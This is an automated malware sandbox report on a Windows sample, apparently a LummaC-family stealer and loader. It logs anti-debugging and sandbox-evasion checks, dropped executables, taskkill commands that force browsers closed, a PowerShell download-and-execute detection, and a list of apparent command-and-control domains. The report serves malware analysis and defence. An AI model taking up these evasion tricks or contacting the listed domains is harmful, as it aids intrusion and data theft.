Source: C:\Users\user\AppData\Local\Temp\1003025001\01b01f6224.exe	Special instruction interceptor: First address: BC0648 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1003025001\01b01f6224.exe	Special instruction interceptor: First address: 9EEDF5 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1003025001\01b01f6224.exe	Special instruction interceptor: First address: C22AAA instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\LY9L8IB5BIZFUZH5SXM3A25NO.exe	Special instruction interceptor: First address: 18DD9A instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\LY9L8IB5BIZFUZH5SXM3A25NO.exe	Special instruction interceptor: First address: 360965 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\PMFCOSU6OCEJM8ZVIZ4IN3GH1YD.exe	Special instruction interceptor: First address: EEE988 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\PMFCOSU6OCEJM8ZVIZ4IN3GH1YD.exe	Special instruction interceptor: First address: 10906A0 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\LY9L8IB5BIZFUZH5SXM3A25NO.exe	Special instruction interceptor: First address: 195731 instructions caused by: Self-modifying code

Source: C:\Users\user\AppData\Local\Temp\MYSLPMLH987D3Z1VZQGFOG7TV6JJ.exe	Memory allocated: 5090000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MYSLPMLH987D3Z1VZQGFOG7TV6JJ.exe	Memory allocated: 53C0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MYSLPMLH987D3Z1VZQGFOG7TV6JJ.exe	Memory allocated: 51E0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\LY9L8IB5BIZFUZH5SXM3A25NO.exe	Memory allocated: 4F80000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\LY9L8IB5BIZFUZH5SXM3A25NO.exe	Memory allocated: 4FC0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\LY9L8IB5BIZFUZH5SXM3A25NO.exe	Memory allocated: 6FC0000 memory reserve \| memory write watch

Source: C:\Users\user\AppData\Local\Temp\PMFCOSU6OCEJM8ZVIZ4IN3GH1YD.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc
Source: C:\Users\user\AppData\Local\Temp\PMFCOSU6OCEJM8ZVIZ4IN3GH1YD.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion
Source: C:\Users\user\AppData\Local\Temp\PMFCOSU6OCEJM8ZVIZ4IN3GH1YD.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion

Source: C:\Users\user\AppData\Local\Temp\MYSLPMLH987D3Z1VZQGFOG7TV6JJ.exe

Code function: 2_2_004A5122 rdtsc

2_2_004A5122

Source: C:\Users\user\AppData\Local\Temp\MYSLPMLH987D3Z1VZQGFOG7TV6JJ.exe

Code function: 2_2_004B6E70 sidt fword ptr [esp-02h]

2_2_004B6E70

Source: C:\Users\user\AppData\Local\Temp\MYSLPMLH987D3Z1VZQGFOG7TV6JJ.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 180000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\LY9L8IB5BIZFUZH5SXM3A25NO.exe	Thread delayed: delay time: 922337203685477

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 376			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 2275			Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1003021001\96b4cd4489.exe

Dropped PE file which has not been started: C:\ProgramData\chrome.dll

Jump to dropped file

Source: C:\Users\user\Desktop\file.exe TID: 7480	Thread sleep time: -210000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7532	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MYSLPMLH987D3Z1VZQGFOG7TV6JJ.exe TID: 7888	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 2596	Thread sleep count: 58 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 2596	Thread sleep time: -116058s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 2892	Thread sleep count: 63 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 2892	Thread sleep time: -126063s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 5660	Thread sleep count: 324 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 5660	Thread sleep time: -9720000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 6048	Thread sleep count: 48 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 6048	Thread sleep time: -96048s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7564	Thread sleep count: 50 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7564	Thread sleep time: -100050s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 928	Thread sleep count: 376 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 928	Thread sleep time: -752376s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 4888	Thread sleep time: -360000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 928	Thread sleep count: 2275 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 928	Thread sleep time: -4552275s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 5660	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003020001\0bdaf26796.exe TID: 7708	Thread sleep time: -30015s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003020001\0bdaf26796.exe TID: 7728	Thread sleep time: -34017s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003020001\0bdaf26796.exe TID: 7424	Thread sleep time: -60000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003020001\0bdaf26796.exe TID: 7720	Thread sleep time: -32016s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003020001\0bdaf26796.exe TID: 3912	Thread sleep time: -90000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1003020001\0bdaf26796.exe TID: 3760	Thread sleep time: -30015s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1003020001\0bdaf26796.exe TID: 4428	Thread sleep time: -32016s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1003023001\num.exe TID: 3340	Thread sleep count: 292 > 30
Source: C:\Users\user\AppData\Local\Temp\1003023001\num.exe TID: 3340	Thread sleep time: -1752000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1003024001\ef2e7274a0.exe TID: 2852	Thread sleep time: -120000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1003021001\96b4cd4489.exe TID: 6572	Thread sleep count: 179 > 30
Source: C:\Users\user\AppData\Local\Temp\1003021001\96b4cd4489.exe TID: 6572	Thread sleep time: -1074000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1003025001\01b01f6224.exe TID: 7864	Thread sleep time: -180000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\LY9L8IB5BIZFUZH5SXM3A25NO.exe TID: 1228	Thread sleep time: -922337203685477s >= -30000s

Source: C:\Users\user\Desktop\file.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS
Source: C:\Users\user\AppData\Local\Temp\1003020001\0bdaf26796.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS
Source: C:\Users\user\AppData\Local\Temp\1003020001\0bdaf26796.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS
Source: C:\Users\user\AppData\Local\Temp\1003024001\ef2e7274a0.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS
Source: C:\Users\user\AppData\Local\Temp\1003025001\01b01f6224.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\1003021001\96b4cd4489.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\1003023001\num.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\1003023001\num.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\1003021001\96b4cd4489.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\1003021001\96b4cd4489.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\AppData\Local\Temp\NN5L9AGTEIQO79C9NX.exe

File Volume queried: C:\ FullSizeInformation

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\MYSLPMLH987D3Z1VZQGFOG7TV6JJ.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 180000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\LY9L8IB5BIZFUZH5SXM3A25NO.exe	Thread delayed: delay time: 922337203685477

Source: skotes.exe, skotes.exe, 00000007.00000002.1972960017.0000000000B40000.00000040.00000001.01000000.0000000C.sdmp, PMFCOSU6OCEJM8ZVIZ4IN3GH1YD.exe, 0000002E.00000002.2832725224.0000000001070000.00000040.00000001.01000000.00000020.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: firefox.exe, 00000023.00000002.2752700608.000002732A860000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllY
Source: firefox.exe, 0000001F.00000002.2753911331.0000024B8B240000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll/
Source: file.exe, 00000000.00000003.1870800094.0000000000C7D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%
Source: file.exe, 00000000.00000003.1870800094.0000000000C7D000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2740080623.0000024B8AA3A000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.2741796721.000002732A12A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: firefox.exe, 0000001F.00000002.2753101109.0000024B8AE20000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW : 2 : 34 : 1 : 1 : 0x20026 : 0x8 : %SystemRoot%\system32\mswsock.dll : : 1234191b-4bf7-4ca7-86e0-dfd7c32b5445
Source: firefox.exe, 00000023.00000002.2752700608.000002732A860000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: MYSLPMLH987D3Z1VZQGFOG7TV6JJ.exe, 00000002.00000002.2023933635.00000000004A8000.00000040.00000001.01000000.00000006.sdmp, NN5L9AGTEIQO79C9NX.exe, 00000003.00000002.1937646956.0000000000DE0000.00000040.00000001.01000000.00000007.sdmp, skotes.exe, 00000006.00000002.1968776552.0000000000B40000.00000040.00000001.01000000.0000000C.sdmp, skotes.exe, 00000007.00000002.1972960017.0000000000B40000.00000040.00000001.01000000.0000000C.sdmp, PMFCOSU6OCEJM8ZVIZ4IN3GH1YD.exe, 0000002E.00000002.2832725224.0000000001070000.00000040.00000001.01000000.00000020.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: firefox.exe, 0000001F.00000002.2740080623.0000024B8AA3A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllE'
Source: firefox.exe, 00000023.00000002.2752700608.000002732A860000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: firefox.exe, 00000023.00000002.2752700608.000002732A860000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWd

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MYSLPMLH987D3Z1VZQGFOG7TV6JJ.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NN5L9AGTEIQO79C9NX.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003020001\0bdaf26796.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003021001\96b4cd4489.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1003020001\0bdaf26796.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1003024001\ef2e7274a0.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1003021001\96b4cd4489.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1003025001\01b01f6224.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\LY9L8IB5BIZFUZH5SXM3A25NO.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\PMFCOSU6OCEJM8ZVIZ4IN3GH1YD.exe	Thread information set: HideFromDebugger

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\AppData\Local\Temp\PMFCOSU6OCEJM8ZVIZ4IN3GH1YD.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\PMFCOSU6OCEJM8ZVIZ4IN3GH1YD.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\PMFCOSU6OCEJM8ZVIZ4IN3GH1YD.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\PMFCOSU6OCEJM8ZVIZ4IN3GH1YD.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\PMFCOSU6OCEJM8ZVIZ4IN3GH1YD.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\PMFCOSU6OCEJM8ZVIZ4IN3GH1YD.exe	Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\PMFCOSU6OCEJM8ZVIZ4IN3GH1YD.exe	Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\PMFCOSU6OCEJM8ZVIZ4IN3GH1YD.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\AppData\Local\Temp\PMFCOSU6OCEJM8ZVIZ4IN3GH1YD.exe	File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\PMFCOSU6OCEJM8ZVIZ4IN3GH1YD.exe	File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\PMFCOSU6OCEJM8ZVIZ4IN3GH1YD.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MYSLPMLH987D3Z1VZQGFOG7TV6JJ.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MYSLPMLH987D3Z1VZQGFOG7TV6JJ.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MYSLPMLH987D3Z1VZQGFOG7TV6JJ.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NN5L9AGTEIQO79C9NX.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NN5L9AGTEIQO79C9NX.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NN5L9AGTEIQO79C9NX.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003020001\0bdaf26796.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003020001\0bdaf26796.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003020001\0bdaf26796.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003021001\96b4cd4489.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1003021001\96b4cd4489.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1003021001\96b4cd4489.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1003021001\96b4cd4489.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1003020001\0bdaf26796.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1003020001\0bdaf26796.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1003020001\0bdaf26796.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1003024001\ef2e7274a0.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1003024001\ef2e7274a0.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1003024001\ef2e7274a0.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1003021001\96b4cd4489.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1003021001\96b4cd4489.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1003021001\96b4cd4489.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1003025001\01b01f6224.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1003025001\01b01f6224.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1003025001\01b01f6224.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\LY9L8IB5BIZFUZH5SXM3A25NO.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\LY9L8IB5BIZFUZH5SXM3A25NO.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\LY9L8IB5BIZFUZH5SXM3A25NO.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\PMFCOSU6OCEJM8ZVIZ4IN3GH1YD.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\PMFCOSU6OCEJM8ZVIZ4IN3GH1YD.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\PMFCOSU6OCEJM8ZVIZ4IN3GH1YD.exe	Process queried: DebugPort

Source: C:\Users\user\AppData\Local\Temp\MYSLPMLH987D3Z1VZQGFOG7TV6JJ.exe

Code function: 2_2_004A5122 rdtsc

2_2_004A5122

Source: C:\Users\user\AppData\Local\Temp\MYSLPMLH987D3Z1VZQGFOG7TV6JJ.exe

Code function: 2_2_0031B9B4 LdrInitializeThunk,

2_2_0031B9B4

Source: C:\Users\user\AppData\Local\Temp\MYSLPMLH987D3Z1VZQGFOG7TV6JJ.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Users\user\AppData\Local\Temp\LY9L8IB5BIZFUZH5SXM3A25NO.exe	Process token adjusted: Debug

Source: C:\Users\user\AppData\Local\Temp\MYSLPMLH987D3Z1VZQGFOG7TV6JJ.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match	File source: Process Memory Space: 96b4cd4489.exe PID: 7520, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: num.exe PID: 5288, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 96b4cd4489.exe PID: 6196, type: MEMORYSTR

LummaC encrypted strings found

Source: file.exe, 00000000.00000003.1674038241.0000000004AF0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: scriptyprefej.store
Source: file.exe, 00000000.00000003.1674038241.0000000004AF0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: navygenerayk.store
Source: file.exe, 00000000.00000003.1674038241.0000000004AF0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: founpiuer.store
Source: file.exe, 00000000.00000003.1674038241.0000000004AF0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: necklacedmny.store
Source: file.exe, 00000000.00000003.1674038241.0000000004AF0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: thumbystriw.store
Source: file.exe, 00000000.00000003.1674038241.0000000004AF0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: fadehairucw.store
Source: file.exe, 00000000.00000003.1674038241.0000000004AF0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: crisiwarny.store
Source: file.exe, 00000000.00000003.1674038241.0000000004AF0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: presticitpo.store

Source: C:\Users\user\AppData\Local\Temp\NN5L9AGTEIQO79C9NX.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1003020001\0bdaf26796.exe "C:\Users\user\AppData\Local\Temp\1003020001\0bdaf26796.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1003021001\96b4cd4489.exe "C:\Users\user\AppData\Local\Temp\1003021001\96b4cd4489.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1003022001\60eccf97f7.exe "C:\Users\user\AppData\Local\Temp\1003022001\60eccf97f7.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1003023001\num.exe "C:\Users\user\AppData\Local\Temp\1003023001\num.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1003024001\ef2e7274a0.exe "C:\Users\user\AppData\Local\Temp\1003024001\ef2e7274a0.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1003025001\01b01f6224.exe "C:\Users\user\AppData\Local\Temp\1003025001\01b01f6224.exe"	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1003022001\60eccf97f7.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1003022001\60eccf97f7.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1003022001\60eccf97f7.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1003022001\60eccf97f7.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Users\user\AppData\Local\Temp\1003022001\60eccf97f7.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Users\user\AppData\Local\Temp\1003022001\60eccf97f7.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1003022001\60eccf97f7.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1003022001\60eccf97f7.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1003022001\60eccf97f7.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T

Source: 60eccf97f7.exe, 0000000C.00000002.2580341149.0000000000712000.00000002.00000001.01000000.00000010.sdmp, 60eccf97f7.exe, 00000028.00000000.2717902902.0000000000712000.00000002.00000001.01000000.00000010.sdmp	Binary or memory string: Run Script:AutoIt script files (.au3, .a3x).au3;.a3xAll files (.).au3#include depth exceeded. Make sure there are no recursive includesError opening the file>>>AUTOIT SCRIPT<<<Bad directive syntax errorUnterminated stringCannot parse #includeUnterminated group of commentsONOFF0%d%dShell_TrayWndREMOVEKEYSEXISTSAPPENDblankinfoquestionstopwarning
Source: MYSLPMLH987D3Z1VZQGFOG7TV6JJ.exe, MYSLPMLH987D3Z1VZQGFOG7TV6JJ.exe, 00000002.00000002.2024159348.00000000004EF000.00000040.00000001.01000000.00000006.sdmp	Binary or memory string: Program Manager
Source: NN5L9AGTEIQO79C9NX.exe, 00000003.00000002.1937646956.0000000000DE0000.00000040.00000001.01000000.00000007.sdmp, skotes.exe, 00000006.00000002.1968776552.0000000000B40000.00000040.00000001.01000000.0000000C.sdmp, skotes.exe, 00000007.00000002.1972960017.0000000000B40000.00000040.00000001.01000000.0000000C.sdmp	Binary or memory string: 7Program Manager
Source: skotes.exe	Binary or memory string: 7Program Manager

